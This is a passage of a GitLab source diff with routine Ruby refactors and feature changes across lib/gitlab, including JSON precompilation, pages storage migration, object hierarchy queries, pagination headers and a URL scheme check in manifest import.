--- a/lib/gitlab/import_export/uploads_manager.rb
+++ b/lib/gitlab/import_export/uploads_manager.rb
@@ -76,7 +76,7 @@ module Gitlab
def project_uploads_except_avatar(avatar_path)
return @project.uploads unless avatar_path
- @project.uploads.where("path != ?", avatar_path)
+ @project.uploads.where.not(path: avatar_path)
end
def download_and_copy(upload)
diff --git a/lib/gitlab/import_sources.rb b/lib/gitlab/import_sources.rb
index 88753e80391..95c002edf0a 100644
--- a/lib/gitlab/import_sources.rb
+++ b/lib/gitlab/import_sources.rb
@@ -28,7 +28,7 @@ module Gitlab
prepend_if_ee('EE::Gitlab::ImportSources') # rubocop: disable Cop/InjectEnterpriseEditionModule
def options
- Hash[import_table.map { |importer| [importer.title, importer.name] }]
+ import_table.to_h { |importer| [importer.title, importer.name] }
end
def values
diff --git a/lib/gitlab/instrumentation_helper.rb b/lib/gitlab/instrumentation_helper.rb
index 61de6b02453..a865a6392f0 100644
--- a/lib/gitlab/instrumentation_helper.rb
+++ b/lib/gitlab/instrumentation_helper.rb
@@ -6,24 +6,6 @@ module Gitlab
DURATION_PRECISION = 6 # microseconds
- def keys
- @keys ||= [
- :cpu_s,
- :gitaly_calls,
- :gitaly_duration_s,
- :rugged_calls,
- :rugged_duration_s,
- :elasticsearch_calls,
- :elasticsearch_duration_s,
- :elasticsearch_timed_out_count,
- *::Gitlab::Memory::Instrumentation::KEY_MAPPING.values,
- *::Gitlab::Instrumentation::Redis.known_payload_keys,
- *::Gitlab::Metrics::Subscribers::ActiveRecord::DB_COUNTERS,
- *::Gitlab::Metrics::Subscribers::ExternalHttp::KNOWN_PAYLOAD_KEYS,
- *::Gitlab::Metrics::Subscribers::RackAttack::PAYLOAD_KEYS
- ]
- end
-
def init_instrumentation_data(request_ip: nil)
# Set `request_start_time` only if this is request
# This is done, as `request_start_time` imply `request_deadline`
diff --git a/lib/gitlab/issuables_count_for_state.rb b/lib/gitlab/issuables_count_for_state.rb
index 945ab7f40c2..6b33b60e850 100644
--- a/lib/gitlab/issuables_count_for_state.rb
+++ b/lib/gitlab/issuables_count_for_state.rb
@@ -78,7 +78,7 @@ module Gitlab
# to perform the calculation more efficiently. Until then, use a shorter
# timeout and return -1 as a sentinel value if it is triggered
begin
- ApplicationRecord.with_fast_statement_timeout do
+ ApplicationRecord.with_fast_read_statement_timeout do
finder.count_by_state
end
rescue ActiveRecord::QueryCanceled => err
diff --git a/lib/gitlab/jira/dvcs.rb b/lib/gitlab/jira/dvcs.rb
index 4415f98fc7f..ddf2cd76709 100644
--- a/lib/gitlab/jira/dvcs.rb
+++ b/lib/gitlab/jira/dvcs.rb
@@ -3,8 +3,8 @@
module Gitlab
module Jira
module Dvcs
- ENCODED_SLASH = '@'.freeze
- SLASH = '/'.freeze
+ ENCODED_SLASH = '@'
+ SLASH = '/'
ENCODED_ROUTE_REGEX = /[a-zA-Z0-9_\-\.#{ENCODED_SLASH}]+/.freeze
def self.encode_slash(path)
diff --git a/lib/gitlab/json.rb b/lib/gitlab/json.rb
index 8565f664cd4..b51c0a33457 100644
--- a/lib/gitlab/json.rb
+++ b/lib/gitlab/json.rb
@@ -186,9 +186,14 @@ module Gitlab
# The `env` param is ignored because it's not needed in either our formatter or Grape's,
# but it is passed through for consistency.
#
+ # If explicitly supplied with a `PrecompiledJson` instance it will skip conversion
+ # and return it directly. This is mostly used in caching.
+ #
# @param object [Object]
# @return [String]
def self.call(object, env = nil)
+ return object.to_s if object.is_a?(PrecompiledJson)
+
if Feature.enabled?(:grape_gitlab_json, default_enabled: true)
Gitlab::Json.dump(object)
else
@@ -197,6 +202,34 @@ module Gitlab
end
end
+ # Wrapper class used to skip JSON dumping on Grape endpoints.
+
+ class PrecompiledJson
+ UnsupportedFormatError = Class.new(StandardError)
+
+ # @overload PrecompiledJson.new("foo")
+ # @param value [String]
+ #
+ # @overload PrecompiledJson.new(["foo", "bar"])
+ # @param value [Array<String>]
+ def initialize(value)
+ @value = value
+ end
+
+ # Convert the value to a String. This will invoke
+ # `#to_s` on the members of the value if it's an array.
+ #
+ # @return [String]
+ # @raise [NoMethodError] if the objects in an array doesn't support to_s
+ # @raise [PrecompiledJson::UnsupportedFormatError] if the value is neither a String or Array
+ def to_s
+ return @value if @value.is_a?(String)
+ return "[#{@value.join(',')}]" if @value.is_a?(Array)
+
+ raise UnsupportedFormatError
+ end
+ end
+
class LimitedEncoder
LimitExceeded = Class.new(StandardError)
diff --git a/lib/gitlab/kas.rb b/lib/gitlab/kas.rb
index 329c0f221b5..7a674cb5c21 100644
--- a/lib/gitlab/kas.rb
+++ b/lib/gitlab/kas.rb
@@ -27,7 +27,7 @@ module Gitlab
def included_in_gitlab_com_rollout?(project)
return true unless ::Gitlab.com?
- Feature.enabled?(:kubernetes_agent_on_gitlab_com, project)
+ Feature.enabled?(:kubernetes_agent_on_gitlab_com, project, default_enabled: :yaml)
end
end
end
diff --git a/lib/gitlab/kubernetes/deployment.rb b/lib/gitlab/kubernetes/deployment.rb
index 55ed9a7517e..f2e3a0e6810 100644
--- a/lib/gitlab/kubernetes/deployment.rb
+++ b/lib/gitlab/kubernetes/deployment.rb
@@ -5,7 +5,7 @@ module Gitlab
class Deployment
include Gitlab::Utils::StrongMemoize
- STABLE_TRACK_VALUE = 'stable'.freeze
+ STABLE_TRACK_VALUE = 'stable'
def initialize(attributes = {}, pods: [])
@attributes = attributes
diff --git a/lib/gitlab/language_detection.rb b/lib/gitlab/language_detection.rb
index 7600e60b904..1e5edb79f10 100644
--- a/lib/gitlab/language_detection.rb
+++ b/lib/gitlab/language_detection.rb
@@ -20,7 +20,7 @@ module Gitlab
# Newly detected languages, returned in a structure accepted by
# Gitlab::Database.bulk_insert
def insertions(programming_languages)
- lang_to_id = programming_languages.map { |p| [p.name, p.id] }.to_h
+ lang_to_id = programming_languages.to_h { |p| [p.name, p.id] }
(languages - previous_language_names).map do |new_lang|
{
@@ -63,8 +63,7 @@ module Gitlab
@repository
.languages
.first(MAX_LANGUAGES)
- .map { |l| [l[:label], l] }
- .to_h
+ .to_h { |l| [l[:label], l] }
end
end
end
diff --git a/lib/gitlab/manifest_import/manifest.rb b/lib/gitlab/manifest_import/manifest.rb
index 7208fe5bbc5..618ddf37b88 100644
--- a/lib/gitlab/manifest_import/manifest.rb
+++ b/lib/gitlab/manifest_import/manifest.rb
@@ -47,6 +47,10 @@ module Gitlab
@errors << 'Make sure every <project> tag has name and path attributes.'
end
+ unless validate_scheme
+ @errors << 'Make sure the url does not start with javascript'
+ end
+
@errors.empty?
end
@@ -64,6 +68,10 @@ module Gitlab
end
end
+ def validate_scheme
+ remote !~ /\Ajavascript/i
+ end
+
def repository_url(name)
Gitlab::Utils.append_path(remote, name)
end
diff --git a/lib/gitlab/marker_range.rb b/lib/gitlab/marker_range.rb
index 50a59adebdf..73e4a545679 100644
--- a/lib/gitlab/marker_range.rb
+++ b/lib/gitlab/marker_range.rb
@@ -24,6 +24,12 @@ module Gitlab
Range.new(self.begin, self.end, self.exclude_end?)
end
+ def ==(other)
+ return false unless other.is_a?(self.class)
+
+ self.mode == other.mode && super
+ end
+
attr_reader :mode
end
end
diff --git a/lib/gitlab/markup_helper.rb b/lib/gitlab/markup_helper.rb
index d419fa66e57..45c6205b36b 100644
--- a/lib/gitlab/markup_helper.rb
+++ b/lib/gitlab/markup_helper.rb
@@ -4,7 +4,7 @@ module Gitlab
module MarkupHelper
extend self
- MARKDOWN_EXTENSIONS = %w[mdown mkd mkdn md markdown].freeze
+ MARKDOWN_EXTENSIONS = %w[mdown mkd mkdn md markdown rmd].freeze
ASCIIDOC_EXTENSIONS = %w[adoc ad asciidoc].freeze
OTHER_EXTENSIONS = %w[textile rdoc org creole wiki mediawiki rst].freeze
EXTENSIONS = MARKDOWN_EXTENSIONS + ASCIIDOC_EXTENSIONS + OTHER_EXTENSIONS
diff --git a/lib/gitlab/metrics/background_transaction.rb b/lib/gitlab/metrics/background_transaction.rb
index 3dda68bf93f..a1fabe75a97 100644
--- a/lib/gitlab/metrics/background_transaction.rb
+++ b/lib/gitlab/metrics/background_transaction.rb
@@ -34,8 +34,9 @@ module Gitlab
def labels
@labels ||= {
- endpoint_id: current_context&.get_attribute(:caller_id),
- feature_category: current_context&.get_attribute(:feature_category)
+ endpoint_id: endpoint_id,
+ feature_category: feature_category,
+ queue: queue
}
end
@@ -44,6 +45,21 @@ module Gitlab
def current_context
Labkit::Context.current
end
+
+ def feature_category
+ current_context&.get_attribute(:feature_category)
+ end
+
+ def endpoint_id
+ current_context&.get_attribute(:caller_id)
+ end
+
+ def queue
+ worker_class = endpoint_id.to_s.safe_constantize
+ return if worker_class.blank? || !worker_class.respond_to?(:queue)
+
+ worker_class.queue.to_s
+ end
end
end
end
diff --git a/lib/gitlab/metrics/dashboard/stages/grafana_formatter.rb b/lib/gitlab/metrics/dashboard/stages/grafana_formatter.rb
index c90c1e3f0bc..55d14d6f94a 100644
--- a/lib/gitlab/metrics/dashboard/stages/grafana_formatter.rb
+++ b/lib/gitlab/metrics/dashboard/stages/grafana_formatter.rb
@@ -104,9 +104,7 @@ module Gitlab
def format_query(metric)
expression = remove_new_lines(metric[:expr])
expression = replace_variables(expression)
- expression = replace_global_variables(expression, metric)
-
- expression
+ replace_global_variables(expression, metric)
end
# Accomodates instance-defined Grafana variables.
@@ -135,9 +133,7 @@ module Gitlab
def replace_global_variables(expression, metric)
expression = expression.gsub('$__interval', metric[:interval]) if metric[:interval]
expression = expression.gsub('$__from', query_params[:from])
- expression = expression.gsub('$__to', query_params[:to])
-
- expression
+ expression.gsub('$__to', query_params[:to])
end
# Removes new lines from expression.
diff --git a/lib/gitlab/metrics/samplers/database_sampler.rb b/lib/gitlab/metrics/samplers/database_sampler.rb
index 60ae22df607..c0336a4d0fb 100644
--- a/lib/gitlab/metrics/samplers/database_sampler.rb
+++ b/lib/gitlab/metrics/samplers/database_sampler.rb
@@ -32,9 +32,9 @@ module Gitlab
private
def init_metrics
- METRIC_DESCRIPTIONS.map do |name, description|
+ METRIC_DESCRIPTIONS.to_h do |name, description|
[name, ::Gitlab::Metrics.gauge(:"#{METRIC_PREFIX}#{name}", description)]
- end.to_h
+ end
end
def host_stats
diff --git a/lib/gitlab/metrics/subscribers/active_record.rb b/lib/gitlab/metrics/subscribers/active_record.rb
index 5eefef02507..0d1cd641ffe 100644
--- a/lib/gitlab/metrics/subscribers/active_record.rb
+++ b/lib/gitlab/metrics/subscribers/active_record.rb
@@ -11,13 +11,16 @@ module Gitlab
DB_COUNTERS = %i{db_count db_write_count db_cached_count}.freeze
SQL_COMMANDS_WITH_COMMENTS_REGEX = /\A(\/\*.*\*\/\s)?((?!(.*[^\w'"](DELETE|UPDATE|INSERT INTO)[^\w'"])))(WITH.*)?(SELECT)((?!(FOR UPDATE|FOR SHARE)).)*$/i.freeze
- DURATION_BUCKET = [0.05, 0.1, 0.25].freeze
+ SQL_DURATION_BUCKET = [0.05, 0.1, 0.25].freeze
+ TRANSACTION_DURATION_BUCKET = [0.1, 0.25, 1].freeze
# This event is published from ActiveRecordBaseTransactionMetrics and
# used to record a database transaction duration when calling
# ActiveRecord::Base.transaction {} block.
def transaction(event)
- observe(:gitlab_database_transaction_seconds, event)
+ observe(:gitlab_database_transaction_seconds, event) do
+ buckets TRANSACTION_DURATION_BUCKET
+ end
end
def sql(event)
@@ -33,7 +36,9 @@ module Gitlab
increment(:db_cached_count) if cached_query?(payload)
increment(:db_write_count) unless select_sql_command?(payload)
- observe(:gitlab_sql_duration_seconds, event)
+ observe(:gitlab_sql_duration_seconds, event) do
+ buckets SQL_DURATION_BUCKET
+ end
end
def self.db_counter_payload
@@ -46,6 +51,10 @@ module Gitlab
payload
end
+ def self.known_payload_keys
+ DB_COUNTERS
+ end
+
private
def ignored_query?(payload)
@@ -66,10 +75,8 @@ module Gitlab
Gitlab::SafeRequestStore[counter] = Gitlab::SafeRequestStore[counter].to_i + 1
end
- def observe(histogram, event)
- current_transaction&.observe(histogram, event.duration / 1000.0) do
- buckets DURATION_BUCKET
- end
+ def observe(histogram, event, &block)
+ current_transaction&.observe(histogram, event.duration / 1000.0, &block)
end
def current_transaction
diff --git a/lib/gitlab/metrics/subscribers/external_http.rb b/lib/gitlab/metrics/subscribers/external_http.rb
index 94c5d965200..0df64f2897e 100644
--- a/lib/gitlab/metrics/subscribers/external_http.rb
+++ b/lib/gitlab/metrics/subscribers/external_http.rb
@@ -37,7 +37,7 @@ module Gitlab
def request(event)
payload = event.payload
- add_to_detail_store(payload)
+ add_to_detail_store(event.time, payload)
add_to_request_store(payload)
expose_metrics(payload)
end
@@ -48,10 +48,11 @@ module Gitlab
::Gitlab::Metrics::Transaction.current
end
- def add_to_detail_store(payload)
+ def add_to_detail_store(start, payload)
return unless Gitlab::PerformanceBar.enabled_for_request?
self.class.detail_store << {
+ start: start,
duration: payload[:duration],
scheme: payload[:scheme],
method: payload[:method],
diff --git a/lib/gitlab/middleware/multipart.rb b/lib/gitlab/middleware/multipart.rb
index 79f1abe820f..329041e3ba2 100644
--- a/lib/gitlab/middleware/multipart.rb
+++ b/lib/gitlab/middleware/multipart.rb
@@ -31,7 +31,7 @@ module Gitlab
RACK_ENV_KEY = 'HTTP_GITLAB_WORKHORSE_MULTIPART_FIELDS'
JWT_PARAM_SUFFIX = '.gitlab-workhorse-upload'
JWT_PARAM_FIXED_KEY = 'upload'
- REWRITTEN_FIELD_NAME_MAX_LENGTH = 10000.freeze
+ REWRITTEN_FIELD_NAME_MAX_LENGTH = 10000
class Handler
def initialize(env, message)
diff --git a/lib/gitlab/middleware/rack_multipart_tempfile_factory.rb b/lib/gitlab/middleware/rack_multipart_tempfile_factory.rb
new file mode 100644
index 00000000000..d16c068c3c0
--- /dev/null
+++ b/lib/gitlab/middleware/rack_multipart_tempfile_factory.rb
@@ -0,0 +1,25 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Middleware
+ class RackMultipartTempfileFactory
+ # Immediately unlink the created temporary file so we don't have to rely
+ # on Rack::TempfileReaper catching this after the fact.
+ FACTORY = lambda do |filename, content_type|
+ Rack::Multipart::Parser::TEMPFILE_FACTORY.call(filename, content_type).tap(&:unlink)
+ end
+
+ def initialize(app)
+ @app = app
+ end
+
+ def call(env)
+ if ENV['GITLAB_TEMPFILE_IMMEDIATE_UNLINK'] == '1'
+ env[Rack::RACK_MULTIPART_TEMPFILE_FACTORY] = FACTORY
+ end
+
+ @app.call(env)
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/middleware/same_site_cookies.rb b/lib/gitlab/middleware/same_site_cookies.rb
index 37ccc5abb10..405732e8015 100644
--- a/lib/gitlab/middleware/same_site_cookies.rb
+++ b/lib/gitlab/middleware/same_site_cookies.rb
@@ -17,7 +17,7 @@
module Gitlab
module Middleware
class SameSiteCookies
- COOKIE_SEPARATOR = "\n".freeze
+ COOKIE_SEPARATOR = "\n"
def initialize(app)
@app = app
diff --git a/lib/gitlab/object_hierarchy.rb b/lib/gitlab/object_hierarchy.rb
index b1a1045a1f0..9a74266693b 100644
--- a/lib/gitlab/object_hierarchy.rb
+++ b/lib/gitlab/object_hierarchy.rb
@@ -68,13 +68,22 @@ module Gitlab
expose_depth = hierarchy_order.present?
hierarchy_order ||= :asc
- recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(model.all).distinct
-
# if hierarchy_order is given, the calculated `depth` should be present in SELECT
if expose_depth
+ recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(model.all).distinct
read_only(model.from(Arel::Nodes::As.new(recursive_query.arel, objects_table)).order(depth: hierarchy_order))
else
- read_only(remove_depth_and_maintain_order(recursive_query, hierarchy_order: hierarchy_order))
+ recursive_query = base_and_ancestors_cte(upto).apply_to(model.all)
+
+ if skip_ordering?
+ recursive_query = recursive_query.distinct
+ else
+ recursive_query = recursive_query.reselect(*recursive_query.arel.projections, 'ROW_NUMBER() OVER () as depth').distinct
+ recursive_query = model.from(Arel::Nodes::As.new(recursive_query.arel, objects_table))
+ recursive_query = remove_depth_and_maintain_order(recursive_query, hierarchy_order: hierarchy_order)
+ end
+
+ read_only(recursive_query)
end
else
recursive_query = base_and_ancestors_cte(upto, hierarchy_order).apply_to(model.all)
@@ -93,12 +102,21 @@ module Gitlab
def base_and_descendants(with_depth: false)
if use_distinct?
# Always calculate `depth`, remove it later if with_depth is false
- base_cte = base_and_descendants_cte(with_depth: true).apply_to(model.all).distinct
-
if with_depth
- read_only(model.from(Arel::Nodes::As.new(recursive_query.arel, objects_table)).order(depth: :asc))
+ base_cte = base_and_descendants_cte(with_depth: true).apply_to(model.all).distinct
+ read_only(model.from(Arel::Nodes::As.new(base_cte.arel, objects_table)).order(depth: :asc))
else
- read_only(remove_depth_and_maintain_order(base_cte, hierarchy_order: :asc))
+ base_cte = base_and_descendants_cte.apply_to(model.all)
+
+ if skip_ordering?
+ base_cte = base_cte.distinct
+ else
+ base_cte = base_cte.reselect(*base_cte.arel.projections, 'ROW_NUMBER() OVER () as depth').distinct
+ base_cte = model.from(Arel::Nodes::As.new(base_cte.arel, objects_table))
+ base_cte = remove_depth_and_maintain_order(base_cte, hierarchy_order: :asc)
+ end
+
+ read_only(base_cte)
end
else
read_only(base_and_descendants_cte(with_depth: with_depth).apply_to(model.all))
@@ -161,7 +179,19 @@ module Gitlab
# Use distinct on the Namespace queries to avoid bad planner behavior in PG11.
def use_distinct?
- (model <= Namespace) && options[:use_distinct]
+ return unless model <= Namespace
+ # Global use_distinct_for_all_object_hierarchy takes precedence over use_distinct_in_object_hierarchy
+ return true if Feature.enabled?(:use_distinct_for_all_object_hierarchy)
+ return options[:use_distinct] if options.key?(:use_distinct)
+
+ false
+ end
+
+ # Skips the extra ordering when using distinct on the namespace queries
+ def skip_ordering?
+ return options[:skip_ordering] if options.key?(:skip_ordering)
+
+ false
end
# Remove the extra `depth` field using an INNER JOIN to avoid breaking UNION queries
diff --git a/lib/gitlab/pages.rb b/lib/gitlab/pages.rb
index 33e709360ad..98e87e9e915 100644
--- a/lib/gitlab/pages.rb
+++ b/lib/gitlab/pages.rb
@@ -3,7 +3,7 @@
module Gitlab
module Pages
VERSION = File.read(Rails.root.join("GITLAB_PAGES_VERSION")).strip.freeze
- INTERNAL_API_REQUEST_HEADER = 'Gitlab-Pages-Api-Request'.freeze
+ INTERNAL_API_REQUEST_HEADER = 'Gitlab-Pages-Api-Request'
MAX_SIZE = 1.terabyte
include JwtAuthenticatable
diff --git a/lib/gitlab/pages/migration_helper.rb b/lib/gitlab/pages/migration_helper.rb
new file mode 100644
index 00000000000..8f8667fafd9
--- /dev/null
+++ b/lib/gitlab/pages/migration_helper.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Pages
+ class MigrationHelper
+ def initialize(logger = nil)
+ @logger = logger
+ end
+
+ def migrate_to_remote_storage
+ deployments = ::PagesDeployment.with_files_stored_locally
+ migrate(deployments, ObjectStorage::Store::REMOTE)
+ end
+
+ def migrate_to_local_storage
+ deployments = ::PagesDeployment.with_files_stored_remotely
+ migrate(deployments, ObjectStorage::Store::LOCAL)
+ end
+
+ private
+
+ def batch_size
+ ENV.fetch('MIGRATION_BATCH_SIZE', 10).to_i
+ end
+
+ def migrate(deployments, store)
+ deployments.find_each(batch_size: batch_size) do |deployment| # rubocop:disable CodeReuse/ActiveRecord
+ deployment.file.migrate!(store)
+
+ log_success(deployment, store)
+ rescue => e
+ log_error(e, deployment)
+ end
+ end
+
+ def log_success(deployment, store)
+ logger.info("Transferred deployment ID #{deployment.id} of type #{deployment.file_type} with size #{deployment.size} to #{storage_label(store)} storage")
+ end
+
+ def log_error(err, deployment)
+ logger.warn("Failed to transfer deployment of type #{deployment.file_type} and ID #{deployment.id} with error: #{err.message}")
+ end
+
+ def storage_label(store)
+ if store == ObjectStorage::Store::LOCAL
+ 'local'
+ else
+ 'object'
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/pages/settings.rb b/lib/gitlab/pages/settings.rb
index 8650a80a85e..0e77259a0de 100644
--- a/lib/gitlab/pages/settings.rb
+++ b/lib/gitlab/pages/settings.rb
@@ -6,12 +6,22 @@ module Gitlab
DiskAccessDenied = Class.new(StandardError)
def path
- if ::Gitlab::Runtime.web_server? && !::Gitlab::Runtime.test_suite?
- raise DiskAccessDenied
- end
+ ::Gitlab::ErrorTracking.track_exception(DiskAccessDenied.new) if disk_access_denied?
super
end
+
+ def local_store
+ @local_store ||= ::Gitlab::Pages::Stores::LocalStore.new(super)
+ end
+
+ private
+
+ def disk_access_denied?
+ return true unless ::Settings.pages.local_store&.enabled
+
+ ::Gitlab::Runtime.web_server? && !::Gitlab::Runtime.test_suite?
+ end
end
end
end
diff --git a/lib/gitlab/pages/stores/local_store.rb b/lib/gitlab/pages/stores/local_store.rb
new file mode 100644
index 00000000000..68a7ebaceff
--- /dev/null
+++ b/lib/gitlab/pages/stores/local_store.rb
@@ -0,0 +1,15 @@
+# frozen_string_literal: true
+
+module Gitlab
+ module Pages
+ module Stores
+ class LocalStore < ::SimpleDelegator
+ def enabled
+ return false unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+
+ super
+ end
+ end
+ end
+ end
+end
diff --git a/lib/gitlab/pages_transfer.rb b/lib/gitlab/pages_transfer.rb
index c1ccfae3e1f..ae5539c03b1 100644
--- a/lib/gitlab/pages_transfer.rb
+++ b/lib/gitlab/pages_transfer.rb
@@ -12,7 +12,7 @@ module Gitlab
class Async
METHODS.each do |meth|
define_method meth do |*args|
- next unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ next unless Settings.pages.local_store.enabled
PagesTransferWorker.perform_async(meth, args)
end
@@ -21,7 +21,7 @@ module Gitlab
METHODS.each do |meth|
define_method meth do |*args|
- next unless Feature.enabled?(:pages_update_legacy_storage, default_enabled: true)
+ next unless Settings.pages.local_store.enabled
super(*args)
end
diff --git a/lib/gitlab/pagination/keyset/order.rb b/lib/gitlab/pagination/keyset/order.rb
index e8e68a5c4a5..e596e1bac9d 100644
--- a/lib/gitlab/pagination/keyset/order.rb
+++ b/lib/gitlab/pagination/keyset/order.rb
@@ -55,14 +55,14 @@ module Gitlab
# scope :created_at_ordered, -> {
# keyset_order = Gitlab::Pagination::Keyset::Order.build([
# Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
- # attribute: :created_at,
+ # attribute_name: :created_at,
# column_expression: Project.arel_table[:created_at],
# order_expression: Project.arel_table[:created_at].asc,
# distinct: false, # values in the column are not unique
# nullable: :nulls_last # we might see NULL values (bottom)
# ),
# Gitlab::Pagination::Keyset::ColumnOrderDefinition.new(
- # attribute: :id,
+ # attribute_name: :id,
# order_expression: Project.arel_table[:id].asc
# )
# ])
@@ -93,7 +93,7 @@ module Gitlab
end
def cursor_attributes_for_node(node)
- column_definitions.each_with_object({}) do |column_definition, hash|
+ column_definitions.each_with_object({}.with_indifferent_access) do |column_definition, hash|
field_value = node[column_definition.attribute_name]
hash[column_definition.attribute_name] = if field_value.is_a?(Time)
field_value.strftime('%Y-%m-%d %H:%M:%S.%N %Z')
@@ -162,7 +162,7 @@ module Gitlab
# rubocop: disable CodeReuse/ActiveRecord
def apply_cursor_conditions(scope, values = {})
scope = apply_custom_projections(scope)
- scope.where(build_where_values(values))
+ scope.where(build_where_values(values.with_indifferent_access))
end
# rubocop: enable CodeReuse/ActiveRecord
diff --git a/lib/gitlab/pagination/offset_header_builder.rb b/lib/gitlab/pagination/offset_header_builder.rb
index 32089e40932..555f0e5a607 100644
--- a/lib/gitlab/pagination/offset_header_builder.rb
+++ b/lib/gitlab/pagination/offset_header_builder.rb
@@ -5,9 +5,9 @@ module Gitlab
class OffsetHeaderBuilder
attr_reader :request_context, :per_page, :page, :next_page, :prev_page, :total, :total_pages
- delegate :params, :header, :request, to: :request_context
+ delegate :request, to: :request_context
- def initialize(request_context:, per_page:, page:, next_page:, prev_page: nil, total:, total_pages:)
+ def initialize(request_context:, per_page:, page:, next_page:, prev_page: nil, total: nil, total_pages: nil, params: nil)
@request_context = request_context
@per_page = per_page
@page = page
@@ -15,6 +15,7 @@ module Gitlab
@prev_page = prev_page
@total = total
@total_pages = total_pages
+ @params = params
end
def execute(exclude_total_headers: false, data_without_counts: false)
@@ -56,10 +57,24 @@ module Gitlab
end
def page_href(next_page_params = {})
- query_params = params.merge(**next_page_params, per_page: params[:per_page]).to_query
+ query_params = params.merge(**next_page_params, per_page: per_page).to_query
build_page_url(query_params: query_params)
end
+
+ def params
+ @params || request_context.params
+ end
+
+ def header(name, value)
+ if request_context.respond_to?(:header)
+ # For Grape API
+ request_context.header(name, value)
+ else
+ # For rails controllers
+ request_context.response.headers[name] = value
+ end
+ end
end
end
end
diff --git a/lib/gitlab/performance_bar/stats.rb b/lib/gitlab/performance_bar/stats.rb
index 380340b80be..c2a4602fd16 100644
--- a/lib/gitlab/performance_bar/stats.rb
+++ b/lib/gitlab/performance_bar/stats.rb
@@ -5,6 +5,12 @@ module Gitlab
# This class fetches Peek stats stored in redis and logs them in a
# structured log (so these can be then analyzed in Kibana)
class Stats
+ IGNORED_BACKTRACE_LOCATIONS = %w[
+ ee/lib/ee/peek
+ lib/peek
+ lib/gitlab/database
+ ].freeze
+
def initialize(redis)
@redis = redis
end
@@ -53,7 +59,8 @@ module Gitlab
end
def parse_backtrace(backtrace)
- return unless match = /(?<filename>.*):(?<filenum>\d+):in `(?<method>.*)'/.match(backtrace.first)
+ return unless backtrace_row = find_caller(backtrace)
+ return unless match = /(?<filename>.*):(?<filenum>\d+):in `(?<method>.*)'/.match(backtrace_row)
{
filename: match[:filename],
@@ -65,6 +72,12 @@ module Gitlab
}
end
+ def find_caller(backtrace)
+ backtrace.find do |line|
+ !line.start_with?(*IGNORED_BACKTRACE_LOCATIONS)
+ end
+ end
+
def logger
@logger ||= Gitlab::PerformanceBar::Logger.build
end
diff --git a/lib/gitlab/phabricator_import.rb b/lib/gitlab/phabricator_import.rb
index 3885a9934d5..4c9d54a93ce 100644
--- a/lib/gitlab/phabricator_import.rb
+++ b/lib/gitlab/phabricator_import.rb
@@ -5,7 +5,7 @@ module Gitlab
BaseError = Class.new(StandardError)
def self.available?
- Feature.enabled?(:phabricator_import) &&
+ Feature.enabled?(:phabricator_import, default_enabled: :yaml) &&
Gitlab::CurrentSettings.import_sources.include?('phabricator')
end
end
diff --git a/lib/gitlab/phabricator_import/issues/importer.rb b/lib/gitlab/phabricator_import/issues/importer.rb
index a58438452ff..478c26af030 100644
--- a/lib/gitlab/phabricator_import/issues/importer.rb
+++ b/lib/gitlab/phabricator_import/issues/importer.rb
@@ -4,7 +4,8 @@ module Gitlab
module Issues
class Importer
def initialize(project, after = nil)
- @project, @after = project, after
+ @project = project
+ @after = after
end
def execute
diff --git a/lib/gitlab/phabricator_import/issues/task_importer.rb b/lib/gitlab/phabricator_import/issues/task_importer.rb
index c17f3e1729a..9c419ecb700 100644
--- a/lib/gitlab/phabricator_import/issues/task_importer.rb
+++ b/lib/gitlab/phabricator_import/issues/task_importer.rb
@@ -4,7 +4,8 @@ module Gitlab
module Issues
class TaskImporter
def initialize(project, task)
- @project, @task = project, task
+ @project = project
+ @task = task
end
def execute
diff --git a/lib/gitlab/phabricator_import/project_creator.rb b/lib/gitlab/phabricator_import/project_creator.rb
index b37a5b44980..c842798ca74 100644
--- a/lib/gitlab/phabricator_import/project_creator.rb
+++ b/lib/gitlab/phabricator_import/project_creator.rb
@@ -55,12 +55,13 @@ module Gitlab
end
def project_feature_attributes
- @project_features_attributes ||= begin
- # everything disabled except for issues
- ProjectFeature::FEATURES.map do |feature|
- [ProjectFeature.access_level_attribute(feature), ProjectFeature::DISABLED]
- end.to_h.merge(ProjectFeature.access_level_attribute(:issues) => ProjectFeature::ENABLED)
- end
+ @project_features_attributes ||=
+ begin
+ # everything disabled except for issues
+ ProjectFeature::FEATURES.to_h do |feature|
+ [ProjectFeature.access_level_attribute(feature), ProjectFeature::DISABLED]
+ end.merge(ProjectFeature.access_level_attribute(:issues) => ProjectFeature::ENABLED)
+ end
end
def import_data
diff --git a/lib/gitlab/phabricator_import/user_finder.rb b/lib/gitlab/phabricator_import/user_finder.rb
index 4b50431e0e0..c6058d12527 100644
--- a/lib/gitlab/phabricator_import/user_finder.rb
+++ b/lib/gitlab/phabricator_import/user_finder.rb
@@ -4,7 +4,8 @@ module Gitlab
module PhabricatorImport
class UserFinder
def initialize(project, phids)
- @project, @phids = project, phids
+ @project = project
+ @phids = phids
@loaded_phids = Set.new
end
diff --git a/lib/gitlab/project_template.rb b/lib/gitlab/project_template.rb
index 56eeea6e746..32d3eeb8cd2 100644
--- a/lib/gitlab/project_template.rb
+++ b/lib/gitlab/project_template.rb
@@ -5,7 +5,11 @@ module Gitlab
attr_reader :title, :name, :description, :preview, :logo
def initialize(name, title, description, preview, logo = 'illustrations/gitlab_logo.svg')
- @name, @title, @description, @preview, @logo = name, title, description, preview, logo
+ @name = name
+ @title = title
+ @description = description
+ @preview = preview
+ @logo = logo
end
def file
diff --git a/lib/gitlab/prometheus/adapter.rb b/lib/gitlab/prometheus/adapter.rb
index ed10ef2917f..76e65d29c7a 100644
--- a/lib/gitlab/prometheus/adapter.rb
+++ b/lib/gitlab/prometheus/adapter.rb
@@ -19,6 +19,10 @@ module Gitlab
end
def cluster_prometheus_adapter
+ if cluster&.integration_prometheus
+ return cluster.integration_prometheus
+ end
+
application = cluster&.application_prometheus
application if application&.available?
diff --git a/lib/gitlab/prometheus/queries/matched_metric_query.rb b/lib/gitlab/prometheus/queries/matched_metric_query.rb
index e4d44df3baf..73de5a11998 100644
--- a/lib/gitlab/prometheus/queries/matched_metric_query.rb
